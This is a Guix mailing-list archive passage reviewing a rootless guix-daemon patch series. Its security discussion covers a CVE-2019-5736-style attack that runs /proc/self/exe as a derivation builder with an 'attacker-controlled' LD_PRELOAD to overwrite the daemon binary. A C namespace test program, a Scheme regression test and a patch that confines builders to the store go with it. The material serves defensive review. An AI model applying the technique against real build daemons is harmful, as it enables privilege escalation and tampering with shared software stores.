    die("Reading from pipe", 21);

  if(c !=3D 'y')
    die("Parent setup failed", 22);

  if(close(pipefds[0]))
    die("Child closing read end of pipe", 23);

  if(mkdir("/tmp/test-chroot", 0700) && errno !=3D EEXIST)
    die("mkdir(\"/tmp/test-chroot\")", 24);

  if(mount(0, "/", 0, MS_REC|MS_PRIVATE, 0))
    die("making / private", 25);

  if(mount("/tmp/test-chroot", "/tmp/test-chroot", 0, MS_BIND, 0))
    die("making /tmp/test-chroot its own filesystem", 26);

  if(mkdir("/tmp/test-chroot/proc", 0700) && errno !=3D EEXIST)
    die("mkdir(\"/tmp/test-chroot/proc\")", 27);

  if(mount("none", "/tmp/test-chroot/proc", "proc", 0, 0))
    die("mount procfs", 28);

  if(chdir("/tmp/test-chroot"))
    die("chdir to /tmp/test-chroot", 29);

  if(mkdir("real-root", 0))
    die("mkdir(\"real-root\")", 30);

  if(pivot_root(".", "real-root"))
    die("pivot_root", 31);

  if(chroot("."))
    die("chroot", 32);

  if(umount2("real-root", MNT_DETACH))
    die("unmounting real root", 33);

  if(rmdir("real-root"))
    die("removing real root directory", 34);

  if(execve("/proc/self/exe", argv, environ))
    {
      saved_errno =3D errno;
      fprintf(stderr, "execve errno: %d\n", saved_errno);
      errno =3D saved_errno;
      die("execve", 35);
    }
}



int main(int argc, char **argv)
{
  pid_t child_pid =3D -1;
  char stack[32 * 1024];
  int flags;
  int result;
  int status;
  FILE * f;
  char strbuf[512];
  int j;
  int pipefds[2];
  if(getenv("TEST_PROGRAM_MAGIC_ENV_VAR"))
    {
      fprintf(stderr, "Self-exec'ed!\n");
      fprintf(stderr, "Arguments: \n");
      for(j =3D 0; j < argc; j++) fprintf(stderr, "%s\n", argv[j]);
      j =3D readlink("/proc/self/exe", strbuf, sizeof(strbuf) - 1);
      if(j >=3D 0)
        {
          strbuf[j] =3D '\0';
          fprintf(stderr, "/proc/self/exe readlink result: %s\n", strbuf);
          f =3D fopen(strbuf, "r");
          if(f)
            {
              fprintf(stderr, "... and that file exists!\n");
              fclose(f);
            }
          else
            {
              perror("fopen /proc/self/exe readlink result error");
              fprintf(stderr, "... and that file does not exist.\n");
            }
          f =3D fopen("/proc/self/exe", "r");
          if(f)
            {
              fprintf(stderr, "/proc/self/exe can be opened\n");
              fclose(f);
            }
          else
            {
              perror("fopen /proc/self/exe error");
              fprintf(stderr, "/proc/self/exe cannot be opened\n");
            }
        }
      return 0;
    }
  setenv("TEST_PROGRAM_MAGIC_ENV_VAR", "1", 1);
=20=20
  if(pipe(pipefds))
    die("pipe()", 1);

  flags =3D CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLON=
E_NEWUSER;
  flags =3D flags | SIGCHLD;=20
  child_pid =3D clone(child_main,
                    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~((ui=
ntptr_t)0xf)),
                    flags,
                    (void *) pipefds);
  if(child_pid =3D=3D -1)
    die("clone()", 1);

  if(close(pipefds[0]))
    die("parent closing read pipe end", 2);

  if(snprintf(strbuf, sizeof(strbuf), "/proc/%d/uid_map", child_pid)
     >=3D sizeof(strbuf))
    die("uid_map snprintf", 3);

  f =3D fopen(strbuf, "w");
  if(!f) die("uid_map fopen", 4);

  if(snprintf(strbuf, sizeof(strbuf), "%u %u 1", geteuid(), geteuid())
     >=3D sizeof(strbuf))
    die("uid_map contents snprintf", 5);

  if(fwrite(strbuf, strlen(strbuf) * sizeof(char), 1, f) < 1)
    die("uid_map fwrite", 6);

  if(fclose(f) =3D=3D EOF)
    die("uid_map fclose", 7);

  if(snprintf(strbuf, sizeof(strbuf), "/proc/%d/setgroups", child_pid)
     >=3D sizeof(strbuf))
    die("setgroups snprintf", 8);

  f =3D fopen(strbuf, "w");
  if(!f) die("setgroups fopen", 9);

  if(fwrite("deny", 4 * sizeof(char), 1, f) < 1)
    die("setgroups fwrite", 10);

  if(fclose(f) =3D=3D EOF)
    die("setgroups fclose", 11);

  if(snprintf(strbuf, sizeof(strbuf), "/proc/%d/gid_map", child_pid)
     >=3D sizeof(strbuf))
    die("gid_map snprintf", 12);

  f =3D fopen(strbuf, "w");
  if(!f) die("gid_map fopen", 13);

  if(snprintf(strbuf, sizeof(strbuf), "%u %u 1", getegid(), getegid())
     >=3D sizeof(strbuf))
    die("gid_map contents snprintf", 14);

  if(fwrite(strbuf, strlen(strbuf) * sizeof(char), 1, f) < 1)
    die("gid_map fwrite", 15);

  if(fclose(f) =3D=3D EOF)
    die("gid_map fclose", 16);

  if(write(pipefds[1], "y", sizeof("y") - (1 * sizeof(char))) < (1 * sizeof=
(char)))
    die("writing to pipe", 17);

  if(close(pipefds[1]))
    die("parent closing write pipe end", 18)

  while (1)
    {
      result =3D waitpid(child_pid, &status, 0);
      if(result =3D=3D child_pid)
        return WEXITSTATUS(status);
      if(result =3D=3D -1 && errno !=3D EINTR)
        die("waitpid", 19);
    }
}
=2D-8<---------------cut here---------------end--------------->8---

Here's what it looks like when I run it:

=2D-8<---------------cut here---------------start------------->8---
$ /tmp/test-program
Self-exec'ed!
Arguments:=20
???
/proc/self/exe readlink result: /tmp/test-program
fopen /proc/self/exe readlink result error: No such file or directory
... and that file does not exist.
/proc/self/exe can be opened
=2D-8<---------------cut here---------------end--------------->8---

> Here=E2=80=99s a test that fails both =E2=80=9Crootfull=E2=80=9D and =E2=
=80=9Crootless=E2=80=9D:
>
> (let* ((builder (add-file-tree-to-store %store
>                                         `("builder" symlink "/proc/self/e=
xe")))
>        (drv (derivation %store "attempt-to-run-guix-daemon" builder '()
>                         #:env-vars
>                         '(("LD_PRELOAD" . "attacker-controlled.so")))))
>   (guard (c ((store-protocol-error? c) c))
>     (build-derivations %store (list drv))
>     #f))

From=20'man 2 execve':

       ENOENT The file pathname or a script *or ELF interpreter* does not e=
xist.

(emphasis mine).  The dynamic linker registered in guix-daemon's binary
is not likely to exist in the container in this test, but an attacker
could easily make it so as long as it's in the store.

> diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
> index 7484ea8fcf..970107c265 100644
> --- a/nix/libstore/build.cc
> +++ b/nix/libstore/build.cc
> @@ -2374,6 +2374,15 @@ void DerivationGoal::runChild()
>                  writeFull(STDERR_FILENO, "error: " + string(e.what()) + =
"\n");
>                  _exit(1);
>              }
> +        } else {
> +	    /* Ensure that the builder is within the store.  This prevents
> +	       users from using /proc/self/exe (or a symlink to it) as their
> +	       builder, which could allow them to overwrite the guix-daemon
> +	       binary (CVE-2019-5736).  */
> +	    drv.builder =3D canonPath(drv.builder, true);
> +	    printMsg(lvlError, format("builder is `%1%'") % drv.builder);
> +	    if (!isInStore(drv.builder))
> +		throw Error(format("derivation builder '%1%' is outside the store") % =
drv.builder);
>  	}
>=20=20
>          /* Fill in the arguments. */

Note that we should still supply the original name or basename as
argv[0].

While ensuring that what actually gets execve'd is in the store suffices
to eliminate the vulnerability, it may be "conceptually purer" to
require that the links pointing to it are all in the store as well.  For
example, while a builder that is a symlink pointing to /proc/self/exe
wouldn't be able to modify the daemon binary, it's still a piece of
basically "undefined behavior" as far as the build environment is
concerned, which could be closed up.  But that can come later just as
well.



One more consideration I noticed when looking at v6's patch 14/16 (the
guix-daemon.service one): we don't do anything to set the gid.  I know
on guix system we usually use both dedicated privilege separation users
and groups for services.  Should we use a dedicated group for
guix-daemon as well?  Note that currently the chroot directories have
0750 permissions, so it's very important that their group not be
accessible to others.

=2D reepca

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQFLBAEBCAA1FiEEdNapMPRLm4SepVYGwWaqSV9/GJwFAmfZ/2gXHHJlZXBjYUBy
dXNzZWxzdGVpbi54eXoACgkQwWaqSV9/GJzgNQgAivP6ufFRwOhu+zlbtnCx2tnT
8jfxwDlpj6KkwhlFiuQIYnIMicg7OG3oi4JaLHzDlXIDxJe3y75Tp/PZ1T5w+kUJ
1yH/dM63kFcPpqQmF0g9NfInuPAeIyvHAWmn9afWFafwOxXYERWoQFBEgkbJzjmY
dfyV2Zctf6v4qOk5IqZ4CJcSM/5EOBMn29MnI7C6gDM8AA7KzQYEmlErI0IWw8yB
ASOA4mq9GauQNUah+f++zsQGK1qOcrgqBWkiGktBkZqB9R9ac9ooEdx+JLXmLjUP
ISKMYjlSiHqgFrZm6vpeZXaHezWtZ5SUDg1cyp3OHqg+9Th8Li5LJNAOAcwNQQ==
=NFgQ
-----END PGP SIGNATURE-----
--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 18 Mar 2025 14:00:38 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Mar 18 10:00:38 2025
Received: from localhost ([127.0.0.1]:41297 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuXUj-0000qT-7d
	for submit <at> debbugs.gnu.org; Tue, 18 Mar 2025 10:00:38 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:43422)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuXUZ-0000p9-Gy
 for 75810 <at> debbugs.gnu.org; Tue, 18 Mar 2025 10:00:34 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id BCC793D7;
 Tue, 18 Mar 2025 15:00:19 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id b3XMQXplc12u; Tue, 18 Mar 2025 15:00:18 +0100 (CET)
Received: from ribbon (unknown [193.50.110.142])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id EFC5930A;
 Tue, 18 Mar 2025 15:00:17 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH v6 00/16] Rootless guix-daemon
In-Reply-To: <875xk7594u.fsf@HIDDEN> (Reepca Russelstein's message of
 "Mon, 17 Mar 2025 22:07:45 -0500")
References: <cover.1742230219.git.ludo@HIDDEN>
 <875xk7594u.fsf@HIDDEN>
Date: Tue, 18 Mar 2025 15:00:16 +0100
Message-ID: <87v7s6h21b.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=-=-="
X-Rspamd-Queue-Id: BCC793D7
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[multipart/mixed,text/plain,text/x-patch];
 RCVD_COUNT_TWO(0.00)[2]; FROM_EQ_ENVFROM(0.00)[];
 MIME_TRACE(0.00)[0:+,1:+,2:+,3:+]; RCPT_COUNT_TWO(0.00)[2];
 ARC_NA(0.00)[]; TO_MATCH_ENVRCPT_ALL(0.00)[];
 RCVD_VIA_SMTP_AUTH(0.00)[]; RCVD_TLS_ALL(0.00)[];
 FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spam-Level: ****
X-Rspamd-Action: no action
X-Spamd-Bar: ++++
X-Rspamd-Server: hera
X-Spam-Score: 2.4 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  Hi! Reepca Russelstein <reepca@HIDDEN> skribis: >
 (in patch 7/16, in nix/libstore/build.cc) > > Strictly speaking we should
 check whether the fds are >= 0, not > 0, > since 0 is technically a valid
 file descriptor, and we use -1 to > indicate the a [...] 
 Content analysis details:   (2.4 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
 The query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in sa-trusted.bondedsender.org]
 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
 query to Validity was blocked.  See
 https://knowledge.validity.com/hc/en-us/articles/20961730681243
 for more information.
 [185.233.100.1 listed in bl.score.senderscore.com]
 1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi! Reepca Russelstein <reepca@HIDDEN> skribis: >
    (in patch 7/16, in nix/libstore/build.cc) > > Strictly speaking we should
    check whether the fds are >= 0, not > 0, > since 0 is technically a valid
    file descriptor, and we use -1 to > indicate the a [...] 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.233.100.1 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hi!

Reepca Russelstein <reepca@HIDDEN> skribis:

> (in patch 7/16, in nix/libstore/build.cc)
>
> Strictly speaking we should check whether the fds are >=3D 0, not > 0,
> since 0 is technically a valid file descriptor, and we use -1 to
> indicate the absence of a file descriptor.
>
> Also, readiness.readSide isn't explicitly closed in the child after
> we're done with it.

Right, fixed.

>> +	# The unprivileged daemon cannot create the log directory by itself.
>> +	mkdir /var/log/guix
>> +	chown guix-daemon:guix-daemon /var/log/guix
>> +	chmod 755 /var/log/guix
>
> (in patch 15/16, in etc/guix-install.sh)
>
> Should this be 'mkdir -p' or some other conditional creation?  If I
> understand correctly this will fail when overwriting an existing install
> using GUIX_ALLOW_OVERWRITE.

Correct, fixed as well.

(I=E2=80=99ve updated the branch on Codeberg.)

> Concerning guix-install.sh, to be clear, is the intent to specifically
> not support installing the rootful daemon on systemd systems?
>
> For my two cents, I do think that it's still a tradeoff - not just
> because of the reliance on different kernel mechanisms for security, but
> also because the rootless daemon currently causes visible changes to the
> build environment (EROFS on /, and nothing owned by root, for example).
> Which one should we consider the "canonical" build environment going
> forward?

The way I see it, we would gradually move to the non-root daemon:

  =E2=80=A2 First step here is to enable it by default on systemd distros.

  =E2=80=A2 Second step would be to allow Guix System users to migrate to
    non-root daemon, keeping the default unchanged.

  =E2=80=A2 Third step (a year later maybe?) would be to default to non-root
    daemon on Guix System and on remaining distros (though for these it
    might be trickier because we probably cannot rely on CAP_SYS_CHOWN,
    not as easily as with systemd at least).

The visible changes in the build environment are unfortunate; I=E2=80=99m h=
oping
they won=E2=80=99t have any practical impact, not any more than the other
parameters that may change currently (build UID, binfmt_misc, file
system, etc.)  We could test this hypothesis by rebuilding at least the
entire set of packages up to =E2=80=98hello=E2=80=99.  (I tried doing it ju=
st now in a
Debian VM but failed since the main partition cannot easily be extended;
it=E2=80=99ll be easier to do with Guix System.)

> The demo, modified for guix circumstances, would go something like this:
>
> 1. A derivation is created whose builder is /proc/self/exe, and whose
>    LD_PRELOAD environment variable points into a malicious store item
>    for one of its shared libraries - for example, libc.
> 2. The daemon reads this in, and, to my knowledge, does no verification
>    of the builder string.  Note that this aspect isn't actually
>    necessary, as the builder could also be a symlink to /proc/self/exe
>    from the store.
> 3. The daemon sets up the build environment, and execs /proc/self/exe.

Then there are 3 possibilities:

  1. If /proc/self/exe points to (say) /usr/bin/guix-daemon, outside the
     store, execve fails with ENOENT because that file is not mounted in
     the chroot.

  2. If /proc/self/exe points to a guix-daemon file inside the store:

     2a. If the store item containing guix-daemon is not an input of the
         derivation, execv fails with ENOENT.

     2b. If the store item containing guix-daemon is an input of the
         derivation, then it=E2=80=99s been remounted read-only and attempt=
s to
         write to it fail with EROFS.

Here=E2=80=99s a test that fails both =E2=80=9Crootfull=E2=80=9D and =E2=80=
=9Crootless=E2=80=9D:

--8<---------------cut here---------------start------------->8---
(let* ((builder (add-file-tree-to-store %store
                                        `("builder" symlink "/proc/self/exe=
")))
       (drv (derivation %store "attempt-to-run-guix-daemon" builder '()
                        #:env-vars
                        '(("LD_PRELOAD" . "attacker-controlled.so")))))
  (guard (c ((store-protocol-error? c) c))
    (build-derivations %store (list drv))
    #f))
--8<---------------cut here---------------end--------------->8---

> There are several points at which that particular attack could be
> stopped, and I'd like to try to stop it at as many of them as possible.
> A good start would be canonicalizing the builder prior to executing it
> and then checking to make sure it is in the store.  A more general
> solution could look like writing out and then executing a tiny binary,
> something like /tmp/runbuilder, that does nothing but unlink itself and
> then exec the actual program.

If the above is correct, we=E2=80=99re already safe against this particular
attack.

Canonicalizing the builder cannot hurt (it=E2=80=99s useful in the
=E2=80=98--disable-chroot=E2=80=99 case though mostly to prevent programmin=
g errors
rather than from a security perspective since there are many other
issues in that case), apart from adding more code to an already long
function.

For reference, the extra check I tried but that I=E2=80=99m inclined to not
include since it cannot catch anything new:


--=-=-=
Content-Type: text/x-patch
Content-Disposition: inline

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 7484ea8fcf..970107c265 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2374,6 +2374,15 @@ void DerivationGoal::runChild()
                 writeFull(STDERR_FILENO, "error: " + string(e.what()) + "\n");
                 _exit(1);
             }
+        } else {
+	    /* Ensure that the builder is within the store.  This prevents
+	       users from using /proc/self/exe (or a symlink to it) as their
+	       builder, which could allow them to overwrite the guix-daemon
+	       binary (CVE-2019-5736).  */
+	    drv.builder = canonPath(drv.builder, true);
+	    printMsg(lvlError, format("builder is `%1%'") % drv.builder);
+	    if (!isInStore(drv.builder))
+		throw Error(format("derivation builder '%1%' is outside the store") % drv.builder);
 	}
 
         /* Fill in the arguments. */

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


Let me know what you think and I=E2=80=99ll send v7 accordingly.

Ludo=E2=80=99.

--=-=-=--




Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 18 Mar 2025 09:35:08 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Mar 18 05:35:07 2025
Received: from localhost ([127.0.0.1]:36942 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuTLi-0007cQ-3G
	for submit <at> debbugs.gnu.org; Tue, 18 Mar 2025 05:35:07 -0400
Received: from hera.aquilenet.fr ([185.233.100.1]:49696)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuTLe-0007ax-Ab
 for 75810 <at> debbugs.gnu.org; Tue, 18 Mar 2025 05:34:59 -0400
Received: from localhost (localhost [127.0.0.1])
 by hera.aquilenet.fr (Postfix) with ESMTP id 62A09421;
 Tue, 18 Mar 2025 10:34:51 +0100 (CET)
Authentication-Results: hera.aquilenet.fr;
	none
X-Virus-Scanned: Debian amavis at hera.aquilenet.fr
Received: from hera.aquilenet.fr ([127.0.0.1])
 by localhost (hera.aquilenet.fr [127.0.0.1]) (amavis, port 10024) with ESMTP
 id 926-veHgLcvp; Tue, 18 Mar 2025 10:34:50 +0100 (CET)
Received: from ribbon (unknown [193.50.110.142])
 by hera.aquilenet.fr (Postfix) with ESMTPSA id DDDAF1BE;
 Tue, 18 Mar 2025 10:34:49 +0100 (CET)
From: =?utf-8?Q?Ludovic_Court=C3=A8s?= <ludo@HIDDEN>
To: Reepca Russelstein <reepca@HIDDEN>
Subject: Re: [bug#75810] [PATCH v5 00/14] Rootless guix-daemon
In-Reply-To: <87h63t6er2.fsf@HIDDEN> (Reepca Russelstein's message of
 "Sat, 15 Mar 2025 18:44:17 -0500")
References: <cover.1741973869.git.ludo@HIDDEN>
 <87h63t6er2.fsf@HIDDEN>
Date: Tue, 18 Mar 2025 10:34:49 +0100
Message-ID: <87jz8mlm12.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Rspamd-Queue-Id: 62A09421
X-Spamd-Result: default: False [4.90 / 15.00]; SPAM_FLAG(5.00)[];
 BAYES_HAM(-3.00)[100.00%]; NEURAL_SPAM(3.00)[1.000];
 MIME_GOOD(-0.10)[text/plain]; RCVD_COUNT_TWO(0.00)[2];
 FROM_EQ_ENVFROM(0.00)[]; MIME_TRACE(0.00)[0:+];
 RCPT_COUNT_TWO(0.00)[2]; ARC_NA(0.00)[];
 TO_MATCH_ENVRCPT_ALL(0.00)[]; RCVD_VIA_SMTP_AUTH(0.00)[];
 RCVD_TLS_ALL(0.00)[]; FROM_HAS_DN(0.00)[]; TO_DN_SOME(0.00)[];
 MID_RHS_MATCH_FROM(0.00)[]
X-Spam-Level: ****
X-Rspamd-Action: no action
X-Spamd-Bar: ++++
X-Rspamd-Server: hera
X-Spam-Score: 2.4 (++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi! (Oops, forgot to hit “send” on this one…) Reepca
    Russelstein <reepca@HIDDEN> skribis: 
 
 Content analysis details:   (2.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
X-Debbugs-Envelope-To: 75810
Cc: 75810 <at> debbugs.gnu.org
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.4 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  Hi! (Oops, forgot to hit “send” on this one…) Reepca
    Russelstein <reepca@HIDDEN> skribis: 
 
 Content analysis details:   (1.4 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                          [185.233.100.1 listed in sa-trusted.bondedsender.org]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [185.233.100.1 listed in bl.score.senderscore.com]
  1.0 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  1.5 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

Hi!

(Oops, forgot to hit =E2=80=9Csend=E2=80=9D on this one=E2=80=A6)

Reepca Russelstein <reepca@HIDDEN> skribis:

> Ludovic Court=C3=A8s <ludo@HIDDEN> writes:
>
>>   =E2=80=A2 In =E2=80=98guix-daemon.service.in=E2=80=99, set
>>     =E2=80=98GUIX_DATABASE_DIRECTORY=3D/var/guix=E2=80=99 for forward co=
mpatibility
>>     (I=E2=80=99m thinking of eventually changing the default database
>>     location when not running as root).
>
> Did you intend GUIX_STATE_DIRECTORY here, or GUIX_DATABASE_DIRECTORY in
> the patch?  GUIX_STATE_DIRECTORY is what's in the patch.

Sorry, I meant GUIX_STATE_DIRECTORY.

> Minor note: this could be implemented solely in terms of close_range, by
> sorting the exceptions and iterating over the gaps between them.  It's
> fine as it is though.

Yes.  In practice =E2=80=98exceptions=E2=80=99 is always empty in this code=
, so we
should eventually remove the argument.

> (in patch 06/14, in doc/guix.texi)
>
> In the third sentence: s/requires the user/requires the use/

Noted.

>> +When using this option, you only need to create one user account, and
>> +@command{guix-daemon} will run with the authority of that account:

[...]

> It may be somewhat confusing to the reader looking at this page in
> isolation whether they still need to create this account after running
> the installation script, since it was mentioned immediately before this.

Note that this doesn=E2=80=99t change the situation compared to =E2=80=98ma=
ster=E2=80=99: it
describes what guix-daemon expects, without regard for the installation
method.  I=E2=80=99ll see how this can be clarified though.

>> +@quotation Warning
>> +Using this option is not recommended since it allows build processes to
>> +gain access to undeclared dependencies, to interfere with one another,
>> +and more generally to do anything that can be done with the authority of
>> +the daemon---which includes at least the ability to tamper with any file
>> +in the store!
>> +
>> +You may find it necessary, though, when support for Linux unprivileged
>> +user namespaces is missing (@pxref{Build Environment Setup}).  Use at
>> +your own risk!
>> +@end quotation
>
> Note that the "do anything that can be done with the authority of the
> daemon" part is only true in the case where the builder and the daemon
> run under the same user.  For example, on Hurd, we use --disable-chroot
> but still use the separate builder users.

Oh right.

[...]

> Perhaps this would be a good place to recommend setting the permissions
> of LOCALSTATEDIR/guix/daemon-socket to allow only trusted users to
> access it?

I don=E2=80=99t think so; we=E2=80=99re really just describing =E2=80=98--d=
isable-chroot=E2=80=99 here.

>> +    /* Pipe to notify readiness to the child process when using unprivi=
leged
>> +       user namespaces.  */
>> +    Pipe readiness;
>> +
>>      /* Check that the derivation outputs all exist and register them
>>         as valid. */
>>      void registerOutputs();
>
> (in nix/libstore/build.cc)
>
> This is inside of DerivationGoal.  We found out while hunting that
> deadlock bug that it doesn't always get disposed of in a timely fashion.
> So we probably shouldn't rely on the AutoCloseFD type of
> readiness.readSide and readiness.writeSide to close them in a timely
> fashion, opting instead to explicitly close the end we use immediately
> after we're done with it.

Yes, agreed.

